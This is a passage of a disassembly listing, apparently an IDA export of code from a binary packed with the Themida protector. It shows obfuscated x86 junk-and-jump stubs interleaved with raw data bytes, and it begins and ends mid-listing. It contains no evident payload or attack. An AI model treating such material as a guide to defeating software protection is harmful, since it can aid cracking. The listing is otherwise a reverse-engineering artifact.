; ---------------------------------------------------------------------------
		db 66h
		dd 0D1F76649h, 3CE98166h, 0F1816634h, 1667182h,	80E959CEh
		dd 81FFFFB8h, 4C4h, 6C36E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5AE5C6:				; CODE XREF: Themida_:005AC647j
		push	652Ah
		mov	[esp], ebx
		push	dword ptr [esp+4]
		jmp	loc_598EBA
; ---------------------------------------------------------------------------
		db 5Dh
		dd 3C8BF989h, 4C48324h,	15CFED81h, 0CD292320h, 1623BF57h
		dd 0F74F3A0Fh, 0A1FEE9D7h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5AE5F6:				; CODE XREF: Themida_:0059D322j
		mov	eax, edx
		pop	edx
		add	esi, eax
		pop	eax
		push	edx
		push	esp
		pop	edx
		push	esi
		mov	esi, 4
		sub	edx, 77427A6h
		jmp	loc_5A086D
; ---------------------------------------------------------------------------


loc_5AE610:				; CODE XREF: Themida_:005AE405j
		sub	esp, 4
		mov	[esp], edi
		push	ecx
		jmp	loc_59D9CF
; ---------------------------------------------------------------------------
		db 54h
		dd 8324348Bh, 756804C4h, 0E9000008h, 0FFFF4795h
; ---------------------------------------------------------------------------


loc_5AE630:				; CODE XREF: Themida_:00598FE5j
		push	esp
		pop	ecx
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		xor	eax, esi
		xor	esi, eax
		xor	eax, esi
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_5ACBDD
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C4812404h, 4, 6602EC83h, 0B0240489h, 66C7205Bh, 8124048Bh
		dd 2C4h, 2EC8100h, 66000000h, 0B1240C89h, 0CF7AE901h, 875EFFFFh
		dd 0E95C243Ch, 0FFFFB811h
; ---------------------------------------------------------------------------


loc_5AE68C:				; CODE XREF: Themida_:005AC6D8j
		xor	ebp, 0EDCB5072h
		add	esi, ebp
		jmp	loc_5A25F9
; ---------------------------------------------------------------------------
		db 0Fh,	8Ah, 6Dh
		dd 41FFFF2Dh, 0FFA64DE9h, 81E589FFh, 4C5h, 5EBA5200h, 8160B753h
		dd 0B4270BEAh, 42D2F714h, 169AEA81h, 0EAC157ACh, 33C28104h
		dd 1FA3AF4h, 2C875AD5h,	0E9555C24h, 0FFFF17A9h,	3068C381h
		dd 0B8E9315Eh
		db 50h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5AE6E3:				; CODE XREF: Themida_:005AF4F7j
		push	esp
		pop	eax
		push	edx
		push	eax
		push	55872A44h
		pop	eax
		add	eax, 21152719h
		jmp	loc_5AD4AD
; ---------------------------------------------------------------------------


loc_5AE6F7:				; CODE XREF: Themida_:0059C7C4j
		xchg	ebp, ebx
		inc	ebp
		xchg	ebp, ebx
		or	ebx, 2FE00B9Fh
		jmp	loc_5A2F81
; ---------------------------------------------------------------------------
		db 80h
		dd 48E97ECEh
		db 4Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5AE70F:				; CODE XREF: Themida_:005A44A7j
					; Themida_:005A935Bj ...
		mov	esi, 46E03866h
		add	ebx, 30101C64h
		add	ebx, esi
		jmp	loc_59BFA3
; ---------------------------------------------------------------------------


loc_5AE721:				; CODE XREF: Themida_:005A2A52j
		mov	edi, 800h
		mov	esi, edi
		pop	edi
		and	eax, esi
		pop	esi
		jmp	loc_59B23A
; ---------------------------------------------------------------------------
		db 33h,	34h, 24h
		dd 6624248Bh, 9C240431h, 0FE9C4BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5AE741:				; CODE XREF: Themida_:0059FF5Fj
		inc	edx
		add	edx, 4EED0F75h
		add	edx, 0FDB2A38Fh
		add	esi, edx
		pop	edx
		mov	edx, esi
		pop	esi
		sub	esi, 1305770Ch
		jmp	loc_599C57
; ---------------------------------------------------------------------------


loc_5AE75F:				; CODE XREF: Themida_:loc_5AA74Aj
		mov	cx, [esp]
		push	25B3h
		mov	[esp], ebx
		push	esp
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_5A202A
; ---------------------------------------------------------------------------
		dw 0C581h
		dd 20760BFDh, 0FF95A3E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5AE785:				; CODE XREF: Themida_:0059F0CAj
		or	edi, edx
		pop	edx
		shl	edi, 3
		push	esi
		mov	esi, 3ACA5C50h
		and	esi, 16F77C4Eh
		xor	esi, 7C4D0649h
		add	esi, 1C39495Bh
		sub	edi, esi
		jmp	loc_599D2D
; ---------------------------------------------------------------------------
		dw 9268h
		dd 0E900002Ah, 0FFFFF6D3h, 330CE95Ch, 0FD68FFFFh, 5B3A8776h
		dd 0D6F7F387h, 0EB81F387h, 3ACB7227h, 37BEB81h,	0D93157B9h
		dd 241C8B5Bh, 4C481h, 31E90000h
		db 0A2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5AE7E3:				; CODE XREF: Themida_:00599158j
					; Themida_:005A6075j
		add	esp, 4
		jmp	loc_5A164B
; ---------------------------------------------------------------------------


loc_5AE7EB:				; CODE XREF: Themida_:0059E3E3j
		push	esi
		jmp	loc_5AB10D
; ---------------------------------------------------------------------------


loc_5AE7F1:				; CODE XREF: Themida_:005A0CF2j
		add	esi, 22FB569Bh
		add	esi, 99CF4673h
		jmp	loc_5A330D
; ---------------------------------------------------------------------------


loc_5AE802:				; CODE XREF: Themida_:005A5645j
		mov	[esp], eax
		jmp	loc_5999B3
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 24048B24h, 58E3E956h, 34FFFFFFh, 240C8B24h, 8104C483h
		dd 4ECh, 241C8900h, 241C8B54h, 4C481h, 64E90000h, 0E9FFFF78h
		dd 0FFFEC350h, 0B4002B2Dh, 0BD2EE96Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5AE846:				; CODE XREF: Themida_:005A0532j
		mov	[esp], eax
		jmp	loc_5AD775
; ---------------------------------------------------------------------------


loc_5AE84E:				; CODE XREF: Themida_:005A1E92j
		push	eax
		jmp	loc_599A36
; ---------------------------------------------------------------------------


loc_5AE854:				; CODE XREF: Themida_:0059DAF0j
		add	edx, esi
		jmp	loc_59E3F5
; ---------------------------------------------------------------------------


loc_5AE85B:				; CODE XREF: Themida_:005A750Bj
		push	49B44248h
		pop	ebx
		neg	ebx
		js	loc_5A852D
		shr	ebx, 5
		dec	ebx
		jle	loc_5ACE0E


loc_5AE873:				; CODE XREF: Themida_:005A6E75j
		sub	edx, 7A700002h
		sub	ebp, edx
		pop	edx
		add	ebp, 433C0519h
		or	ebp, 4BF5051Dh
		and	ebp, 3747B4Fh
		shr	ebp, 3
		xor	ebp, 6D0E8211h
		xor	ecx, ebp
		pop	ebp
		sub	[eax], ecx
		pop	ecx
		jmp	loc_59838C
; ---------------------------------------------------------------------------
		dw 0E943h
		dd 0FFFFEBF0h
; ---------------------------------------------------------------------------


loc_5AE8A8:				; CODE XREF: Themida_:005A566Dj
					; Themida_:005AECC4j
		add	esi, 1A0010A6h
		add	ebx, esi
		jmp	loc_5A133C
; ---------------------------------------------------------------------------


loc_5AE8B5:				; CODE XREF: Themida_:005A8350j
		mov	bl, cl
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		jmp	loc_5AE495
; ---------------------------------------------------------------------------
		db 0F7h
		dd 0F58145D5h, 0B336FB8Dh, 815DEF89h, 0DC5BC4C5h, 32C58172h
		dd 2904B135h, 34E953FDh, 0F7FFFFC4h, 0CA0FE9DBh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5AE8EA:				; CODE XREF: Themida_:005AABEEj
		mov	esi, [esp]
		add	esp, 4
		push	3185h
		jmp	loc_5A9DC6
; ---------------------------------------------------------------------------
aS_8		db '^ιά',9,0
		align 10h


loc_5AE900:				; CODE XREF: Themida_:005A247Fj
		add	eax, 4CBE5BD6h
		jle	loc_5A138F
		xor	eax, 17D19C7h
		jmp	loc_5A3F09
; ---------------------------------------------------------------------------


loc_5AE915:				; CODE XREF: Themida_:005AEAD8j
		or	edx, 5364234Bh
		ja	loc_5A5667
		and	edx, 4D2E72A6h
		jmp	loc_5AE057
; ---------------------------------------------------------------------------
		db 88h,	0DCh
; ---------------------------------------------------------------------------


loc_5AE92E:				; CODE XREF: Themida_:005A6C84j
		xor	ebx, ebp
		jmp	loc_5A8C0B
; ---------------------------------------------------------------------------


loc_5AE935:				; CODE XREF: Themida_:0059FD17j
		xor	edi, 7A376811h
		sub	edi, 53F41A9Dh
		jmp	loc_59E1D8
; ---------------------------------------------------------------------------


loc_5AE946:				; CODE XREF: Themida_:005AB84Fj
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_59B0B3
; ---------------------------------------------------------------------------


loc_5AE959:				; CODE XREF: Themida_:005ABC90j
		jmp	loc_5A9216
; ---------------------------------------------------------------------------


loc_5AE95E:				; CODE XREF: Themida_:005A3ECEj
		sub	eax, ebx
		jmp	loc_5A4BE2
; ---------------------------------------------------------------------------


loc_5AE965:				; CODE XREF: Themida_:0059FAEAj
		push	ebx
		jmp	loc_5AD0C8
; ---------------------------------------------------------------------------


loc_5AE96B:				; CODE XREF: Themida_:0059F777j
		push	esp
		jmp	loc_59BA9C
; ---------------------------------------------------------------------------


loc_5AE971:				; CODE XREF: Themida_:0059B6C4j
		push	ebp
		mov	ebp, 1BE84A55h
		jmp	loc_5A6B46
; ---------------------------------------------------------------------------


loc_5AE97C:				; CODE XREF: Themida_:0059F01Dj
		pop	edi
		sub	ebx, 57FF6050h
		add	ebx, edi
		add	ebx, 57FF6050h
		pop	edi
		sub	edi, ebx
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		add	ebx, edi
		jmp	loc_59B40B
; ---------------------------------------------------------------------------
aN1Qhch		db '­1ΨQhch',0
		dd 243C8900h, 0C2A25168h, 243C8B63h, 4C481h, 0E9570000h
		dd 0FFFEC2E0h, 9D1C77FFh, 0D3665966h, 0E99C241Ch, 0FFFE99C0h
		dd 68243C89h, 388Ch, 0FF624FE9h, 0E68956FFh, 4C681h, 0EE830000h
		dd 24348704h, 8924248Bh, 0E189240Ch, 4C181h, 3680000h
		dd 89000065h, 0FDE92434h
		db 7Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5AEA03:				; CODE XREF: Themida_:0059C3DAj
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_5AEA08:				; CODE XREF: Themida_:005A1BAAj
		mov	ecx, 25E47F66h
		or	ebx, ecx
		pop	ecx
		jmp	loc_5AE12D
; ---------------------------------------------------------------------------


loc_5AEA15:				; CODE XREF: Themida_:005A0C0Aj
		push	4A4715D4h
		mov	ecx, [esp]
		push	esi
		jmp	loc_5AF3CB
; ---------------------------------------------------------------------------


loc_5AEA23:				; CODE XREF: Themida_:005A0AA4j
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		sub	eax, edi
		pop	edi
		add	eax, edx
		push	60A8h
		mov	[esp], edx
		push	eax
		push	731B05C3h
		pop	eax
		add	eax, 0AA071230h
		jmp	loc_5A3EB1
; ---------------------------------------------------------------------------


loc_5AEA48:				; CODE XREF: Themida_:005A7563j
		jz	loc_5A5EB6
		shl	ebx, 1
		jnp	loc_59B7E4
		push	eax
		push	ecx
		push	3DE5712Fh
		pop	ecx
		jmp	loc_5A6822
; ---------------------------------------------------------------------------
		db 52h
		dd 72E95A54h
		db 7Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5AEA6B:				; CODE XREF: Themida_:0059A904j
		sub	ch, 45h
		pop	edx
		add	dh, ch
		pop	ecx
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	616Ch
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		push	eax
		mov	eax, 6A5F66F0h
		neg	eax
		ja	loc_5A7D10
		jmp	loc_5A1F3B
; ---------------------------------------------------------------------------
		dw 0C281h
		dd 0EE508F90h, 0E95AD031h, 0FFFF3567h
; ---------------------------------------------------------------------------


loc_5AEAAC:				; CODE XREF: Themida_:0059FBADj
		xor	ebx, 58616B55h
		jmp	loc_5A8122
; ---------------------------------------------------------------------------


loc_5AEAB7:				; CODE XREF: Themida_:005A409Fj
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_5AEABC:				; CODE XREF: Themida_:0059FF40j
		sub	esi, 42150DA5h
		xor	edx, esi
		pop	esi
		jmp	loc_599EA3
; ---------------------------------------------------------------------------


loc_5AEACA:				; CODE XREF: Themida_:005ABA54j
		pop	eax
		jmp	loc_59BB65
; ---------------------------------------------------------------------------


loc_5AEAD0:				; CODE XREF: Themida_:005A28E9j
		not	edx
		and	edx, 20E166D1h
		jz	loc_5AE915
		or	edx, 5364234Bh
		ja	loc_59AC24
		and	edx, 4D2E72A6h
		jmp	loc_5A4BDB
; ---------------------------------------------------------------------------


loc_5AEAF5:				; CODE XREF: Themida_:005AC26Aj
		add	eax, ecx
		pop	ecx
		jmp	loc_598B4C
; ---------------------------------------------------------------------------


loc_5AEAFD:				; CODE XREF: Themida_:005AC675j
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], eax
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_5AEB0B:				; CODE XREF: Themida_:0059F1EBj
		pop	ebx
		sub	bl, ch
		mov	cx, [esp]
		add	esp, 2
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		jmp	loc_5A623F
; ---------------------------------------------------------------------------


loc_5AEB2A:				; CODE XREF: Themida_:005AB2B5j
		mov	eax, 0
		add	eax, edx
		add	dword ptr [eax], 1
		pop	eax
		jmp	loc_5A9606
; ---------------------------------------------------------------------------
		db 89h,	0F3h, 5Eh
		dd 4954EB81h, 0F4B7B66h, 0FF1F2489h, 0EEC381FFh, 0F0A7672h
		dd 0FF97FC81h, 0C614E9FFh, 248BFFFEh, 4FFE924h,	0C588FFFFh
; ---------------------------------------------------------------------------


loc_5AEB68:				; CODE XREF: Themida_:005AB91Aj
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], ecx
		push	dword ptr [esp+4]
		jmp	loc_5AE559
; ---------------------------------------------------------------------------


loc_5AEB8F:				; CODE XREF: Themida_:005A00E6j
		pop	ebp
		push	esi
		push	edi
		jmp	loc_59FB20
; ---------------------------------------------------------------------------


loc_5AEB97:				; CODE XREF: Themida_:005A096Cj
		push	ecx
		mov	ecx, 3C91C503h
		add	ebp, ecx
		pop	ecx
		xchg	esi, ebp
		xchg	ecx, esi
		not	ecx
		push	esi
		push	ecx
		pop	esi
		pop	ecx
		xchg	esi, ebp
		add	ebp, 8A7C5562h
		push	ebp
		mov	ebp, 5EAF2219h
		add	ebx, ebp
		jmp	loc_5A01CC
; ---------------------------------------------------------------------------


loc_5AEBBF:				; CODE XREF: Themida_:005A20DDj
		dec	edi
		sub	esp, 4
		jmp	loc_5A32D0
; ---------------------------------------------------------------------------


loc_5AEBCB:				; CODE XREF: Themida_:00598F63j
		add	eax, 2B02D5Bh
		add	eax, ebx
		sub	eax, 2B02D5Bh
		add	eax, 38285947h
		jmp	loc_5AAC15
; ---------------------------------------------------------------------------
		db 0E9h, 52h, 0C2h
		dd 7C29FFFEh, 0E95F0C24h, 0FFFF8708h
; ---------------------------------------------------------------------------


loc_5AEBF0:				; CODE XREF: Themida_:005A01E0j
					; Themida_:005A67F8j
		add	edx, 4
		jmp	loc_5A1AE5
; ---------------------------------------------------------------------------
		dd 0A0240481h, 5F51DB57h, 57A0EF81h, 8B5D51DBh,	0C4832404h
		dd 24148B04h, 0E904C483h, 145h
; ---------------------------------------------------------------------------


loc_5AEC18:				; CODE XREF: Themida_:005993FCj
		jmp	loc_5AB444
; ---------------------------------------------------------------------------
		db 0Fh,	8Ah, 0B3h
		dd 0E9FFFEB5h, 0CFh
; ---------------------------------------------------------------------------


loc_5AEC28:				; CODE XREF: Themida_:005ACEDBj
		mov	ecx, 5FA903A0h
		shr	ecx, 6
		xor	ecx, 7295943Eh
		add	edx, ecx
		mov	ecx, [esp]
		add	esp, 4
		pop	ebp
		jmp	loc_59C912
; ---------------------------------------------------------------------------
		db 68h
		dd 3AD3h, 0BB241C89h, 7F687310h, 0B4F68h, 24348900h, 597893BEh
		dd 5EF3296Dh, 6806EBC1h, 55BEh,	57243489h, 7B4A3BBFh, 5E7C131h
		dd 0E781D7F7h, 7B02644h, 0FFBB02E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5AEC85:				; CODE XREF: Themida_:005AAC93j
		add	esi, 38682825h
		jmp	loc_59E6CF
; ---------------------------------------------------------------------------


loc_5AEC90:				; CODE XREF: Themida_:005A85B1j
		or	ebx, 75B9602Fh
		xchg	ecx, ebx
		not	ecx
		xchg	ecx, ebx
		xor	ebx, 6DC41986h
		push	edx
		jmp	loc_5989BA
; ---------------------------------------------------------------------------
		dd 0FFFFFF2Dh, 6E8C1FFh, 3332840Fh, 0B951FFFFh,	25E97A6Fh
		dd 0D3E9D1F7h
		db 0DBh, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5AECC3:				; CODE XREF: Themida_:0059C552j
		pop	esi
		jmp	loc_5AE8A8
; ---------------------------------------------------------------------------


loc_5AECC9:				; CODE XREF: Themida_:005AAD50j
		push	ebx
		jmp	loc_5AE09E
; ---------------------------------------------------------------------------


loc_5AECCF:				; CODE XREF: Themida_:0059DB0Aj
		add	ebp, 0F774A9B5h
		mov	eax, ebp
		pop	ebp
		mov	edx, eax
		pop	eax
		xor	[esp+4], edx
		push	dword ptr [esp]
		pop	edx
		push	eax
		jmp	loc_5A50D9
; ---------------------------------------------------------------------------
		db 29h,	0D0h, 5Ah
		dd 4055Fh, 56E90000h, 0BAFFFFB3h, 3BC53F98h, 67B0BD55h
		dd 0EA013A86h, 0E92434FFh, 0FFFFAF4Eh, 63ECC381h, 0C3E9F9A7h
		dd 55FFFF75h, 1E36B850h, 81501E0Fh, 5AB92404h, 3E90312h
		db 0AEh, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5AED2B:				; CODE XREF: Themida_:005A26BEj
		push	ebx
		mov	bl, ch
		push	ecx
		mov	cl, bl
		jmp	loc_5A6EA7
; ---------------------------------------------------------------------------


loc_5AED36:				; CODE XREF: Themida_:0059AED4j
		shl	ebx, 5
		jmp	loc_59E051
; ---------------------------------------------------------------------------
		dw 1C31h
		dd 0BC38E924h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5AED46:				; CODE XREF: Themida_:00598419j
		xor	esi, 0A820A029h
		mov	ecx, esi
		mov	esi, [esp]
		add	esp, 4
		push	esi
		jmp	loc_59ADB4
; ---------------------------------------------------------------------------
		db 5, 80h, 0Bh
		dd 0F8013F55h, 5E9168h,	24148900h, 685C88BAh, 6B42E92Ch
		dd 0C87FFFFh, 4BC9E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5AED7E:				; CODE XREF: Themida_:loc_5985C3j
					; Themida_:005AD2FEj
		mov	bh, 82h
		shr	bh, 8
		js	loc_5A7EB6
		neg	bh
		dec	bh
		xor	bh, 0D7h
		jle	loc_5AEF85
		jmp	loc_59D7F2
; ---------------------------------------------------------------------------


loc_5AED9B:				; CODE XREF: Themida_:0059ECD7j
		xor	ebx, edx
		pop	edx
		xor	ebx, 778BFBC2h
		jmp	loc_59BC4B
; ---------------------------------------------------------------------------
		db 81h,	0C7h, 1Eh
		dd 0E91FFE51h, 0FFFF3DF9h
; ---------------------------------------------------------------------------


loc_5AEDB4:				; CODE XREF: Themida_:005985BEj
		mov	ecx, 3AAA4A2Eh
		mov	edx, ecx
		pop	ecx
		add	ebx, edx
		jmp	loc_5A07EB
; ---------------------------------------------------------------------------


loc_5AEDC3:				; CODE XREF: Themida_:loc_5A3384j
		sub	eax, 0E67B9BB1h
		mov	ecx, eax
		mov	eax, [esp]
		jmp	loc_5A31C9
; ---------------------------------------------------------------------------


loc_5AEDD2:				; CODE XREF: Themida_:005AF318j
		mov	esi, 53373DB6h
		and	esi, 12205F81h
		jmp	loc_5A5672
; ---------------------------------------------------------------------------


loc_5AEDE2:				; CODE XREF: Themida_:005AAD99j
		inc	eax
		sub	eax, 5842258Dh
		add	edx, eax
		pop	eax
		jmp	loc_5AC568
; ---------------------------------------------------------------------------


loc_5AEDF0:				; CODE XREF: Themida_:005A4568j
		mov	edi, 4
		add	eax, edi
		jmp	loc_5A51DC
; ---------------------------------------------------------------------------


loc_5AEDFC:				; CODE XREF: Themida_:005A2ECEj
		or	edi, 6E891EE9h
		dec	edi
		push	eax
		mov	eax, 1
		sub	edi, eax
		pop	eax
		push	ebx
		push	esp
		pop	ebx
		jmp	loc_59F9B2
; ---------------------------------------------------------------------------


loc_5AEE14:				; CODE XREF: Themida_:005A0A3Ej
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], eax
		mov	eax, 2ADB50D5h
		push	0
		sub	[esp], eax
		jmp	loc_5A4A14
; ---------------------------------------------------------------------------


loc_5AEE2D:				; CODE XREF: Themida_:00598B21j
		pop	eax
		dec	ebx
		xor	ebx, 55D5AE63h
		sub	ebp, ebx
		mov	ebx, [esp]
		add	esp, 4
		add	ebp, 415E6D59h
		pop	ebx
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		imul	cx
		push	edi
		jmp	loc_59FBB7
; ---------------------------------------------------------------------------
		db 5, 0F3h, 42h
		dd 8B0F475Dh, 0FFFEAEB4h, 41206405h, 0B6830F71h, 88FFFFEEh
		db 0F5h, 5Eh
; ---------------------------------------------------------------------------


loc_5AEE72:				; CODE XREF: Themida_:0059B355j
		mov	al, 51h
		xor	al, dl
		jmp	loc_59CEFF
; ---------------------------------------------------------------------------
		db 0FFh
		dd 8B042474h, 0EC81240Ch, 4, 89240C89h,	4C181E1h, 53000000h
		dd 4BBh, 8BD90100h, 69E9241Ch
		db 9Ah,	0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5AEEA3:				; CODE XREF: Themida_:005A42F0j
		pop	eax
		mov	ebp, [esp]
		add	esp, 4
		push	edi
		push	eax
		mov	eax, ecx
		mov	edi, eax
		pop	eax
		sub	esp, 4
		mov	[esp], ecx
		push	ebx
		mov	ebx, edi
		jmp	loc_5A388E
; ---------------------------------------------------------------------------
		db 5Ah,	81h, 0F2h
		dd 5C69089Ah, 0E95AD389h, 0FFFEF00Eh
; ---------------------------------------------------------------------------


loc_5AEED4:				; CODE XREF: Themida_:005AF122j
		xor	eax, 75862CF9h
		push	edx
		jmp	loc_5A2178
; ---------------------------------------------------------------------------


loc_5AEEDF:				; CODE XREF: Themida_:005A941Aj
		push	edx
		mov	edx, 3C2279BCh
		jmp	loc_5A20A4
; ---------------------------------------------------------------------------


loc_5AEEEA:				; CODE XREF: Themida_:005A979Bj
		shr	eax, 7
		shr	eax, 1
		shr	eax, 2
		sub	eax, 375D70h
		add	ebp, eax
		pop	eax
		sub	ebp, 4
		sub	esp, 4
		jmp	loc_5AE238
; ---------------------------------------------------------------------------


loc_5AEF0B:				; CODE XREF: Themida_:0059E7F4j
		mov	[esp], esi
		push	561701C2h
		pop	esi
		shr	esi, 7
		sub	esi, 3F7B2804h
		jge	loc_59E4AE
		sub	esp, 4
		jmp	loc_59DE7E
; ---------------------------------------------------------------------------
		db 5Ch
		dd 0FEA92CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5AEF31:				; CODE XREF: Themida_:005A0F38j
		sub	ebx, 1000C09Bh
		and	eax, ebx
		push	dword ptr [esp]
		jmp	loc_5A9E49
; ---------------------------------------------------------------------------


loc_5AEF41:				; CODE XREF: Themida_:005A11A8j
		not	ecx
		sub	ecx, 0AAF22ABh
		sub	eax, ecx
		pop	ecx
		jmp	loc_59B7CB
; ---------------------------------------------------------------------------


loc_5AEF51:				; CODE XREF: Themida_:loc_5A5D9Ej
					; Themida_:005AAD0Aj
		add	edx, 0C757B78h
		jbe	loc_5A6962
		xor	edx, 2DD67E54h
		mov	eax, edx
		jmp	loc_5999B8
; ---------------------------------------------------------------------------


loc_5AEF6A:				; CODE XREF: Themida_:0059D4D6j
		mov	edx, esp
		jmp	loc_5A9B0F
; ---------------------------------------------------------------------------
		db 81h,	0E1h, 1Dh
		dd 0F435528h, 0FF95558Ah, 4E9C1FFh, 0FFF714E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5AEF85:				; CODE XREF: Themida_:005AD75Bj
					; Themida_:005AED90j
		mov	ebx, 4B7D7A9Bh
		xor	ebx, 0B4828564h
		jmp	loc_5A6406
; ---------------------------------------------------------------------------
		db 0F7h, 0D3h, 83h
		dd 0BF5701C3h, 77623554h, 0E95FFB09h, 0FFFFA8ECh
; ---------------------------------------------------------------------------


loc_5AEFA8:				; CODE XREF: Themida_:005A0BFEj
		xchg	edx, ebp
		jmp	loc_5A0E21
; ---------------------------------------------------------------------------


loc_5AEFAF:				; CODE XREF: Themida_:005AC1EEj
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_5A6CA2
; ---------------------------------------------------------------------------
		dd 6837E95Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5AEFC2:				; CODE XREF: Themida_:0059B49Bj
		pop	esp
		jmp	loc_5AC94A
; ---------------------------------------------------------------------------


loc_5AEFC8:				; CODE XREF: Themida_:005AB39Dj
		add	dl, bh
		pop	bx
		neg	dl
		add	dl, 42h
		not	dl
		sub	dl, 37h
		or	ch, dl
		pop	edx
		jmp	loc_5AD438
; ---------------------------------------------------------------------------


loc_5AEFDE:				; CODE XREF: Themida_:005A3C78j
					; Themida_:005A6606j
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		jmp	loc_5A1835
; ---------------------------------------------------------------------------


loc_5AEFED:				; CODE XREF: Themida_:005AB62Fj
		and	edx, 389443D8h
		add	edx, 0F4C969C2h
		and	edi, edx
		mov	edx, [esp]
		push	504Fh
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_59A25A
; ---------------------------------------------------------------------------


loc_5AF013:				; CODE XREF: Themida_:005A9060j
		push	ecx
		mov	ecx, esp
		jmp	loc_59B88F
; ---------------------------------------------------------------------------
		db 66h
		dd 6824048Bh, 23F1h, 54243489h,	5E2434FFh, 81E78957h, 4C7h
		dd 4C78100h, 0E9000000h, 0FFFF3767h
; ---------------------------------------------------------------------------


loc_5AF040:				; CODE XREF: Themida_:0059F845j
					; Themida_:005AE231j
		push	edx
		mov	dl, 32h
		shl	dl, 6
		xor	dl, 87h
		push	eax
		mov	al, 59h
		jmp	loc_5A950D
; ---------------------------------------------------------------------------


loc_5AF051:				; CODE XREF: Themida_:0059CBF0j
		not	dh
		jmp	loc_5AB550
; ---------------------------------------------------------------------------


loc_5AF058:				; CODE XREF: Themida_:00599EFCj
		jl	loc_599334
		xor	esi, 22EC2184h
		mov	[edx+30h], esi
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_5AC2EB
; ---------------------------------------------------------------------------


loc_5AF075:				; CODE XREF: Themida_:005A4E64j
		push	ebp
		jmp	loc_5AA599
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFF9F76h
; ---------------------------------------------------------------------------


loc_5AF080:				; CODE XREF: Themida_:005A3263j
		xor	dh, 0B2h
		jmp	loc_5A7F76
; ---------------------------------------------------------------------------


loc_5AF088:				; CODE XREF: Themida_:00598A52j
		sub	cl, 31h
		add	cl, 64h
		sub	cl, ah
		sub	cl, 64h
		jmp	loc_5A63FA
; ---------------------------------------------------------------------------


loc_5AF098:				; CODE XREF: Themida_:005A599Fj
		push	0C46h
		mov	[esp], esp
		jmp	loc_5AAF0A
; ---------------------------------------------------------------------------


loc_5AF0A5:				; CODE XREF: Themida_:0059E83Bj
		pop	esp
		mov	[esp], cx
		mov	ch, bh
		jmp	loc_5AF58E
; ---------------------------------------------------------------------------


loc_5AF0B1:				; CODE XREF: Themida_:005A76C8j
		jmp	loc_59838C
; ---------------------------------------------------------------------------
		dw 0C283h
		dd 24148704h, 4C4815Ch
		db 3 dup(0)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_5A8514
; ---------------------------------------------------------------------------


loc_5AF0CB:				; CODE XREF: Themida_:005A30B7j
		xor	edi, [esp]
		mov	esp, [esp]
		ror	byte ptr [esp],	cl
		pushf
		jmp	loc_59DCEA
; ---------------------------------------------------------------------------
		dw 8951h
		dd 4C181E1h, 0E9000000h, 0FFFFBA0Ch, 4C5835Eh, 0E9242C87h
		dd 0FFFF4E51h
; ---------------------------------------------------------------------------


loc_5AF0F4:				; CODE XREF: Themida_:005A5EA9j
		push	edi
		mov	edi, 4
		sub	ebp, 0B640564h
		sub	ebp, edi
		add	ebp, 0B640564h
		jmp	loc_5A3FC5
; ---------------------------------------------------------------------------


loc_5AF10D:				; CODE XREF: Themida_:0059C5A3j
					; Themida_:005A5D65j
		xor	edi, 6FD54227h
		add	eax, edi
		pop	edi
		jmp	loc_5991AB
; ---------------------------------------------------------------------------


loc_5AF11B:				; CODE XREF: Themida_:005A5755j
		push	ebp
		push	eax
		mov	eax, 6B9820E2h
		jmp	loc_5AEED4
; ---------------------------------------------------------------------------


loc_5AF127:				; CODE XREF: Themida_:005ACBB3j
		xchg	edi, [esp]
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_5AC250
; ---------------------------------------------------------------------------


loc_5AF13B:				; CODE XREF: Themida_:005A86A1j
		add	esi, 0FCFF6C5Ch
		xor	edx, esi
		pop	esi
		xor	eax, edx
		pop	edx
